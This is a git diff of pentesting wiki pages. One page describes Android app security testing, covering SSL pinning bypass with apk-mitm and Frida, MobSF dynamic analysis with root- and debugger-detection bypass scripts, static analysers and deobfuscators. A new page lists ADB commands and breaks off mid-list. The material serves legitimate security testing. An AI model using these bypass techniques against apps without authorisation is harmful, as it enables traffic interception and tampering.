+* **Privacy Information Leakage:** Most of the times it happens that Applications do authentication through a secure channel but rest all connection through non-secure channel. That doesn’t add to security of application because rest sensitive data like session cookie or user data can be intercepted by an malicious user.
+
+From the 3 scenarios presented we are going to discuss **how to verify the identity of the certificate**. The other 2 scenarios depends on the **TLS configuratio**n of the server and if the **application sends unencrypted data**. The pentester should check by it's own the TLS configuration of the server \([here](../../pentesting/pentesting-web/#ssl-tls-vulnerabilites)\) and detect if any **confidential information is sent by an unencrypted/vulnerable** channel .
+More information about how to discover and fix these kind of vulnerabilities [**here**](https://manifestsecurity.com/android-application-security-part-10/).
+
+#### SSL Pinning
+
+By default, when making an SSL connection, the client\(android app\) checks that the server’s certificate has a verifiable chain of trust back to a trusted \(root\) certificate and matches the requested hostname. This lead to problem of **Man in the Middle Attacks\(MITM\)**.
+In certificate Pinnning, an Android Application itself contains the certificate of server and only transmit data if the same certificate is presented.
+It's recommended to **apply SSL Pinning** for the sites where sensitive information is going to be sent.
+
+### Inspecting HTTP traffic
+
+First of all, you should \(must\) **install the certificate** of the **proxy** tool that you are going to use, probably Burp. If you don't install the CA certificate of the proxy tool, you probably aren't going to see the encrypted traffic in the proxy.
+**Please,** [**read this guide to learn how to do install a custom CA certificate**](android-burp-suite-settings.md)**.**
+
+#### SSL Pinning
+
+We have already discuss what is SSL Pinning just 2 paragraphs before. When it's implemented in an application you will need to bypass it to inspect the HTTPS traffic or you won't see it.
+Here I'm going to present a few options I've used to bypass this protection:
+
+* Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
+* You could use **Frida** \(discussed below\) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
+
+#### Common Web vulnerabilities
+
+Note that in this step you should look for common web vulnerabilities. A lot of information about web vulnerabilities be found in this book so I'm not going to mention them here.
+
+### Frida
+
+Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at [www.frida.re](https://www.frida.re/).
+**It's amazing, you can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...
+If you want to pentest Android applications you need to know how to use Frida.**
+
+**Learn how to use Frida:** [**Frida tutorial**](frida-tutorial/)
+**Some "GUI" for actions with Frida:** [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
+**Some other abstractions based on Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
+**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re/)\*\*\*\*
+
+### **Android Application Analyzer**
+
+This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
+
+### Android Client Side Injections and others
+
+Probably you know about this kind of vulnerabilities from the Web. You have to be specially careful with this vulnerabilities in an Android application:
+
+* **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries.
+* **JavaScript Injection \(XSS\):** Verify that JavaScript and Plugin support is disabled for any WebViews \(disabled by default\). [More info here](webview-attacks.md#javascript-enabled).
+* **Local File Inclusion:** Verify that File System Access is disabled for any WebViews \(enabled by default\) `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
+* **Intent Injection/Fuzzing:** Verify actions and data are validated via an Intent Filter for all Activities.
+* **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk
+* \*\*\*\*[**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies.md#cookies-flags)
+
+## Automatic Analysis
+
+### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
+
+#### Static analysis
+
+![](../../.gitbook/assets/image%20%2859%29.png)
+
+**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis \(but you need to prepare the environment\).
+
+```text
+docker pull opensecurity/mobile-security-framework-mobsf
+docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
+```
+
+Notice that MobSF can analyse **Andoid**\(apk\)**, IOS**\(ipa\) **and Windows**\(apx\) applications \(_Windows applications must be analyzed from a MobSF installed in a Windows host_\).
+Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app \(go to the root folder of the application, select everything and create a ZIPfile\), it will be able to analyse it also.
+
+MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** \(you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`\). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
+
+### Dynamic analysis with MobSF
+
+**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host \(a VM or Docker won't work\). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_
+The **MobSF dynamic analyser** can:
+
+* **Dump application data** \(URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files\). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
+* Capture **HTTPS traffic**
+* Use **Frida** to obtain **runtime** **information**
+
+From android **versions > 5**, it will **automatically start Friday** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
+
+**Frida**
+
+By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.
+MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
+
+To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values \(this will appear after pressing "Start Instrumentation"\).
+MobSF also allows you to load your own **Frida scripts \(**to send the results of your Friday scripts to MobSF use the function `send()`\). It also has **several pre-written scripts** you can load \(you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`\), just **select them**, press "**Load**" and press "**Start Instrumentation**" \(you will be able to see the logs of that scripts inside "**Frida Live Logs**"\).
+
+![](../../.gitbook/assets/image%20%28187%29.png)
+
+Moreover, you have some Auxiliary Frida functionalities:
+
+* **Enumerate Loaded Classes**: It will print all the loaded classes
+* **Capture Strings**: It will print all the capture strings while using the application \(super noisy\)
+* **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
+* **Enumerate Class Methods**: Put the class name \(like "java.io.File"\) and it will print all the methods of the class.
+* **Search Class Pattern**: Search classes by pattern
+* **Trace Class Methods**: **Trace** a **whole class** \(see inputs and outputs of all methods of th class\). Remember that by default MobSF traces several interesting Android Api methods.
+
+Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
+
+**Shell**
+
+Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
+
+```text
+help
+shell ls
+activities
+exported_activities
+services
+receivers
+```
+
+**HTTP tools**
+
+When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP\(S\) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.
+To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ \(http://127.0.0.1:8080\).
+
+Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
+
+{% hint style="info" %}
+After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
+
+```text
+adb shell settings put global http_proxy :0
+```
+{% endhint %}
+
+### [Qark](https://github.com/linkedin/qark)
+
+This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities \(Exposed activities, intents, tapjacking...\). As with Drozer, there is no need to root the test device.
+
+```bash
+pip3 install --user qark # --user is only needed if not using a virtualenv
+qark --apk path /to/my.apk
+qark --java path/to/parent/java/folder
+qark --java path/to/specific/java/file.java
+```
+
+### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
+
+* Displays all extracted files for easy reference
+* Automatically decompile APK files to Java and Smali format
+* Analyze AndroidManifest.xml for common vulnerabilities and behavior
+* Static source code analysis for common vulnerabilities and behavior
+ * Device info
+ * Intents
+ * Command execution
+ * SQLite references
+ * Logging references
+ * Content providers
+ * Broadcast recievers
+ * Service references
+ * File references
+ * Crypto references
+ * Hardcoded secrets
+ * URL's
+ * Network connections
+ * SSL references
+ * WebView references
+
+```text
+reverse-apk relative/path/to/APP.apk
+```
+
+### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
+
+SUPER is a command-line application that can be used in Windows, MacOS X and Linux, that analyzes _.apk_ files in search for vulnerabilities. It does this by decompressing APKs and applying a series of rules to detect those vulnerabilities.
+
+All rules are centered in a `rules.json` file, and each company or tester could create its own rules to analyze what they need.
+
+Download the latest binaries from in the [download page](https://superanalyzer.rocks/download.html)
+
+```text
+super-analyzer {apk_file}
+```
+
+### [StaCoAn](https://github.com/vincentcox/StaCoAn)
+
+![](../../.gitbook/assets/image%20%28303%29.png)
+
+StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) on mobile applications\*.
+
+The concept is that you drag and drop your mobile application file \(an .apk or .ipa file\) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience.
+
+Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
+
+```text
+./stacoan
+```
+
+### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
+
+AndroBugs Framework is an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications.
+[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
+
+```text
+python androbugs.py -f [APK file]
+androbugs.exe -f [APK file]
+```
+
+### [Androwarn](https://github.com/maaaaz/androwarn)
+
+**Androwarn** is a tool whose main aim is to detect and warn the user about potential malicious behaviours developped by an Android application.
+
+The detection is performed with the **static analysis** of the application's Dalvik bytecode, represented as **Smali**, with the [`androguard`](https://github.com/androguard/androguard) library.
+
+This tool looks for **common behavior of "bad" applications** like: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
+
+```text
+python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
+```
+
+### [MARA Framework](https://github.com/xtiankisutsa/MARA_Framework)
+
+![](../../.gitbook/assets/image%20%2810%29.png)
+
+**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals.
+
+It is able to:
+
+* Extract Java and Smali code using different tools
+* Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
+* Extract private information from the APK using regexps.
+* Analyze the Manifest.
+* Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
+* Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com/)
+
+### Koodous
+
+Useful to detect malware: [https://koodous.com/](https://koodous.com/)
+
+## Obfuscating/Deobfuscating code
+
+### [ProGuard](https://en.wikipedia.org/wiki/ProGuard_%28software%29)
+
+**ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
+
+ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
+
+From: [https://en.wikipedia.org/wiki/ProGuard\_\(software\)](https://en.wikipedia.org/wiki/ProGuard_%28software%29)
+
+### [DeGuard](http://apk-deguard.com/)
+
+#### DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.
+
+You can upload an obfuscated APK to their platform.
+
+### [Simplify](https://github.com/CalebFenton/simplify)
+
+It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
+
+### [APKiD](https://github.com/rednaga/APKiD)
+
+APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
+
+### Manual
+
+[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)\*\*\*\*
+
+## Labs
+
+### [Androl4b](https://github.com/sh4hin/Androl4b)
+
+AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
+
+### OWASP
+
+{% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %}
+
+### Git Repos
+
+[https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)
+
+## References
+
+For more information visit:
+
+* [https://appsecwiki.com/\#/](https://appsecwiki.com/#/) It is a great list of resources
+* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
+* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
+* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course\([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)\)
+
diff --git a/mobile-apps-pentesting/android-app-pentesting/adb-commands.md b/mobile-apps-pentesting/android-app-pentesting/adb-commands.md
new file mode 100644
index 00000000..19a22ef2
--- /dev/null
+++ b/mobile-apps-pentesting/android-app-pentesting/adb-commands.md
@@ -0,0 +1,352 @@
+# ADB Commands
+
+**Information obtained from:** [**http://adbshell.com/**](http://adbshell.com/)\*\*\*\*
+
+## Connection
+
+```text
+adb devices
+```
+
+This will list the connected devices; if "_**unathorised**_" appears, this means that you have to **unblock** your **mobile** and **accept** the connection.
+
+This indicates to the device that it has to start and adb server in port 5555:
+
+```text
+adb tcpip 5555
+```
+
+Connect to that IP and that Port:
+
+```text
+adb connect :
+```
+
+If you get an error like the following in a Virtual Android software \(like Genymotion\):
+
+```text
+adb server version (41) doesn't match this client (36); killing...
+```
+
+It's because you are trying to connect to an ADB server with a different version. Just try to find the adb binary the software is using \(go to `C:\Program Files\Genymobile\Genymotion` and search for adb.exe\)
+
+## Packet Manager
+
+### Install/Uninstall
+
+#### adb install \[option\] <path>
+
+```text
+adb install test.apk
+```
+
+```text
+adb install -l test.apk forward lock application
+```
+
+```text
+adb install -r test.apk replace existing application
+```
+
+```text
+adb install -t test.apk allow test packages
+```
+
+```text
+adb install -s test.apk install application on sdcard
+```
+
+```text
+adb install -d test.apk allow version code downgrade
+```
+
+```text
+adb install -p test.apk partial application install
+```
+
+#### adb uninstall \[options\] <PACKAGE>
+
+```text
+adb uninstall com.test.app
+```
+
+```text
+adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
+```
+
+### Packages
+
+Prints all packages, optionally only those whose package name contains the text in <FILTER>.
+
+#### adb shell pm list packages \[options\] <FILTER-STR>
+
+```text
+adb shell pm list packages
+```
+
+```text
+adb shell pm list packages -f #See their associated file.
+```
+
+```text
+adb shell pm list packages -d #Filter to only show disabled packages.
+```
+
+```text
+adb shell pm list packages -e #Filter to only show enabled packages.
+```
+
+```text
+adb shell pm list packages -s #Filter to only show system packages.
+```
+
+```text
+adb shell pm list packages -3 #Filter to only show third party packages.
+```
+
+```text
+adb shell pm list packages -i #See the installer for the packages.
+```
+
+```text
+adb shell pm list packages -u #Also include uninstalled packages.
+```
+
+```text
+adb shell pm list packages --user #The user space to query.
+```
+
+#### adb shell pm path <PACKAGE>
+
+Print the path to the APK of the given .
+
+```text
+adb shell pm path com.android.phone
+```
+
+#### adb shell pm clear <PACKAGE>
+
+Delete all data associated with a package.
+
+```text
+adb shell pm clear com.test.abc
+```
+
+## File Manager
+
+#### adb pull <remote> \[local\]
+
+Download a specified file from an emulator/device to your computer.
+
+```text
+adb pull /sdcard/demo.mp4 ./
+```
+
+#### adb push <local> <remote>
+
+Upload a specified file from your computer to an emulator/device.
+
+```text
+adb push test.apk /sdcard
+```
+
+## Screencapture/Screenrecord
+
+#### adb shell screencap <filename>
+
+Taking a screenshot of a device display.
+
+```text
+adb shell screencap /sdcard/screen.png
+```
+
+#### adb shell screenrecord \[options\] <filename>
+
+Recording the display of devices running Android 4.4 \(API level 19\) and higher.
+
+```text
+adb shell screenrecord /sdcard/demo.mp4
+adb shell screenrecord --size
+adb shell screenrecord --bit-rate
+adb shell screenrecord --time-limit